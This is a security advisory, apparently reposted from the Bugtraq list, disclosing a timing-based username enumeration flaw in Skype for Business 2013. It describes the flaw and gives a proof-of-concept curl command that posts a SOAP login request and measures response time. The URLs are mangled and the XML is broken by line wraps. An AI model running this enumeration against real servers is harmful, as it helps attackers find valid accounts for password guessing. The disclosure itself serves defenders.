Bugtraq: User enumeration in Skype for Business 2013

# Exploit Title: Skype for Business 2013 user enumeration timing attack

# Date: 2016-06-08

# Exploit Author: nyxgeek

# Vendor Homepage: http://ift.tt/PAIY54

# Version: Skype for Business 2013

#

#

# Skype for Business 2013 is vulnerable to a timing attack that allows for username enumeration

#

# When Skype/Lync is exposed externally, a login page will be located at http://ift.tt/14VJaUz.

#

# In the attack, a short response time indicates a valid username, whereas a long response time

# indicates an invalid username. This was tested in a large AD environment with many OUs and

# thousands of accounts.

#

# It is possible that the difference in response times may be smaller in smaller AD environments

#

# For example:

# Valid username response time - 0.49s

# Invalid username response time - 3.54s

#

#

# Usernames and passwords are both base64-encoded without a newline, and submitted in the form

# of DOMAIN\username.

#

# When generating the base64 on linux use the -n parameter with echo to exclude the newline char

# echo -n "DOMAIN\username" | base64

#

# This was reported to Microsoft on 2016-06-07 but it 'does not meet the bar for security servicing'

#

# Below is a proof of concept curl command, which can be thrown into a bash script for ease of use.

#!/bin/bash

curl -o /dev/null -w "\n\nTOTAL TIME IS %{time_total}\n\n" -i -s -k -X 'POST' -H 'User-Agent: Just looking around' -H 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7' -H 'Keep-Alive: 300' -H 'Content-Type: text/xml' -H 'SOAPAction: http://ift.tt/1wZAU6R' -H 'Referer: http://ift.tt/1YvEL88' --data-binary $'<s:Envelope xmlns:s=\"http://ift.tt/sVJIaE\"><s:Header><Securit

y s:mustUnderstand=\"1\" xmlns:u=\"http://ift.tt/266RyAe

rity-utility-1.0.xsd\" xmlns=\"http://ift.tt/1YvFear

ty-secext-1.0.xsd\"><UsernameToken><Username>RE9NQUlOXHVzZXJuYW1l</Usern

ame><Password Type=\"http://ift.tt/Mxcpt9

token-profile-1.0#PasswordText\">c2VjcmV0cGFzc3dvcmQ=</Password></Userna

meToken></Security></s:Header><s:Body><RequestSecurityToken xmlns:xsi=\"http://ift.tt/ra1lAU\" xmlns:xsd=\"http://ift.tt/tphNwY\" Context=\"ec86f904-154f-0597-3dee-59eb1b51e731\" xmlns=\"http://ift.tt/1kYOrWJ\"><TokenType>ur

n:component:Microsoft.Rtc.WebAuthentication.2010:user-cwt-1</TokenType><

RequestType>http://ift.tt/266SaWo

pe><AppliesTo xmlns=\"http://ift.tt/Hm2joK\"><EndpointReferenc

e xmlns=\"http://ift.tt/HKXHai\"><Address>https://dialin.d

http://ift.tt/1YvEB0C

ce></AppliesTo><Lifetime><Created xmlns=\"http://ift.tt/1YvFear

ty-utility-1.0.xsd\">2016-06-07T02:23:36Z</Created><Expires xmlns=\"http://ift.tt/1YvFear

ty-utility-1.0.xsd\">2016-06-07T02:38:36Z</Expires></Lifetime><KeyType>h

ttp://docs.oasis-open.org/ws-sx/ws-trust/200512/SymmetricKey</KeyType></

RequestSecurityToken></s:Body></s:Envelope>' 'http://ift.tt/1YvGpXa'

[ reply ]

from SecurityFocus Vulnerabilities http://ift.tt/1YvFw0Z